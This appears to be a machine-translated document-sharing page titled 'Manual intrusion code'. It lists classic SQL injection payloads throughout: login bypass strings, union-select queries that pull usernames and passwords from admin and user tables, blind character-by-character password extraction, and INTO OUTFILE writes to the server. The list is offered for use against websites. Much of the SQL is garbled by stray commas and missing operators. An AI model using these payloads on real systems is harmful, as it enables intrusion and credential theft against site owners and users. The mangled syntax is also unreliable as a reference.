手工入侵代码（Manual intrusion code）.docVIP

手工入侵代码（Manual intrusion code） Inject a large collection of classical statements: or 1=1 or1=1 /* %23 and password=mypass Id=-1 union select 1,1,1 Id=-1, union, select, char (97), char (97), char (97) Id=1, union, select, 1,1,1, from, members Id=1, union, select, 1,1,1, from, admin Id=1, union, select, 1,1,1, from, user Userid=1 and password=mypass Userid=1, and, mid (password, 3,1), =char (112) Userid=1, and, mid (password, 4,1), =char (97) And ord (mid (password, 3,1)) 111 (ORD function is good to use, you can return to plastic) and LENGTH (password) =6 (detect password length) and, LEFT (password, 1) =m and, LEFT (password, 2) =my .............................. By analogy Union, select 1, username, password, from, user/* Union, select 1, username, password, from, user/* Union = 1 select, username, password from user/* (or = 1 can be directly with) 99999, union, select 1, username, password, from, user/* into outfilec:/file.txt (export file) Or = 1=1 into outfilec:/file.txt 1, union, select 1, username, password, from, user, into,, outfile,c:/user.txt SELECT, password, FROM, admins, WHERE, login=John, INTO, DUMPFILE,/path/to/site/file.txt Id=, union, select 1, username, password, from, user, into, outfile Id=-1, union, select 1, database (), Version () (flexible application query) Common query test statement, SELECT * FROM, table, WHERE, 1=1 SELECT * FROM, table, WHERE,uuu=uuu SELECT * FROM, table, WHERE, 12 SELECT * FROM, table, WHERE, 32 SELECT * FROM, table, WHERE, 23 SELECT * FROM table WHERE 1 SELECT * FROM, table, WHERE, 1+1 SELECT * FROM, table, WHERE, 1--1 SELECT * FROM, table, WHERE, ISNULL (NULL) SELECT * FROM, table, WHERE, ISNULL (COT (0)) SELECT * FROM, table, WHERE 1, IS, NOT, NULL SELECT * FROM, table, WHERE, NULL, IS, NULL SELECT * FROM table WHERE 2 BETWEEN 1 AND 3 SELECT * FROM, table, WHERE,b, BETWEEN,a, AND,c SELECT * FROM table WHERE 2 IN (0,1,2) SELECT *, FROM, table, WHERE, CASE, WHEN, 10, THEN,, END For example: night owl download system ver